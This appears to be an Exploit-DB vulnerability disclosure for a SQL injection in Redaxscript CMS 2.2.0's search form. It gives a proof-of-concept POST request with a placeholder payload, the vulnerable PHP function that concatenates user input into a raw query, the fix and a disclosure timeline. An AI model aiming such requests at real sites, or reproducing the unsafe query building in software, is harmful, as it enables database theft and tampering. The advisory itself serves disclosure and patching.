Redaxscript CMS 2.2.0 - SQL Injection Vulnerability

2015-02-09T00:00:00
ID EDB-ID:36023
Type exploitdb
Reporter ITAS Team
Modified 2015-02-09T00:00:00

Description

Redaxscript CMS 2.2.0 - SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            # Exploit Title: Radexscript CMS 2.2.0 - SQL Injection vulnerability
# Google Dork: N/A
# Date: 02/09/2015
# Exploit Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://redaxscript.com/
# Software Link: http://redaxscript.com/download/releases
# Version: Redaxscript 2.2.0
# Tested on: Linux
# CVE : CVE-2015-1518


:: PROOF OF CONCEPT ::

POST /redaxscript/ HTTP/1.1
Host: target.local
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=khtnnm1tvvk3s12if0no367872; GEAR=local-5422433b500446ead50002d4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

search_terms=[SQL INJECTION HERE]&search_post=&token=24bcb285bc6f5c93203e4f95d9f2008331faf294&search_post=Search



- Vulnerable parameter: $search_terms
- Vulnerable file:      redaxscript/includes/search.php
- Vulnerable function:  search_post()

- Vulnerable code:
function search_post()
{
	/* clean post */

	if (ATTACK_BLOCKED < 10)
	{
		$search_terms = clean($_POST['search_terms'], 5);
	}

	/* validate post */

	if (strlen($search_terms) < 3 || $search_terms == l('search_terms'))
	{
		$error = l('input_incorrect');
	}

	/* query results */

	else
	{
		$search = array_filter(explode(' ', $search_terms));
		$search_keys = array_keys($search);
		$last = end($search_keys);

		/* query search */

		$query = 'SELECT id, title, alias, description, date, category, access FROM ' . PREFIX . 'articles WHERE (language = \'' . Redaxscript\Registry::get('language') . '\' || language = \'\') && status = 1';
		if ($search)
		{
			$query .= ' && (';
			foreach ($search as $key => $value)
			{

				$query .= 'title LIKE \'%' . $value . '%\' || description LIKE \'%' . $value . '%\' || keywords LIKE \'%' . $value . '%\' || text LIKE \'%' . $value . '%\'';
				if ($last != $key)
				{
					$query .= ' || ';
				}
			}
			$query .= ')';
		}
		$query .= ' ORDER BY date DESC LIMIT 50';
		$result = Redaxscript\Db::forTablePrefix('articles')->rawQuery($query)->findArray();
		$num_rows = count($result);
		if ($result == '' || $num_rows == '')
		{
			$error = l('search_no');
		}

		/* collect output */

		else if ($result)
		{
			$accessValidator = new Redaxscript\Validator\Access();
			$output = '<h2 class="title_content title_search_result">' . l('search') . '</h2>';
			$output .= form_element('fieldset', '', 'set_search_result', '', '', '<span class="title_content_sub title_search_result_sub">' . l('articles') . '</span>') . '<ol class="list_search_result">';
			foreach ($result as $r)
			{
				$access = $r['access'];

				/* if access granted */

				if ($accessValidator->validate($access, MY_GROUPS) === Redaxscript\Validator\Validator::PASSED)
				{
					if ($r)
					{
						foreach ($r as $key => $value)
						{
							$$key = stripslashes($value);
						}
					}

					/* prepare metadata */

					if ($description == '')
					{
						$description = $title;
					}
					$date = date(s('date'), strtotime($date));

					/* build route */

					if ($category == 0)
					{
						$route = $alias;
					}
					else
					{
						$route = build_route('articles', $id);
					}

					/* collect item output */

					$output .= '<li class="item_search_result">' . anchor_element('internal', '', 'link_search_result', $title, $route, $description) . '<span class="date_search_result">' . $date . '</span></li>';
				}
				else
				{
					$counter++;
				}
			}
			$output .= '</ol></fieldset>';

			/* handle access */

			if ($num_rows == $counter)
			{
				$error = l('access_no');
			}
		}
	}

	/* handle error */

	if ($error)
	{
		notification(l('something_wrong'), $error);
	}
	else
	{
		echo $output;
	}
}


:: SOLUTION ::
Update to Redaxscript 2.3.0

::INFORMATION DISCLOSURE::
- 11/27/2014: Inform the vendor
- 11/28/2014: Vendor confirmed
- 01/29/2015: Vendor releases patch
- 01/05/2015: ITAS Team publishes information


:: REFERENCE ::
- http://www.itas.vn/news/itas-team-found-out-a-sql-injection-vulnerability-in-redaxscript-2-2-0-cms-75.html

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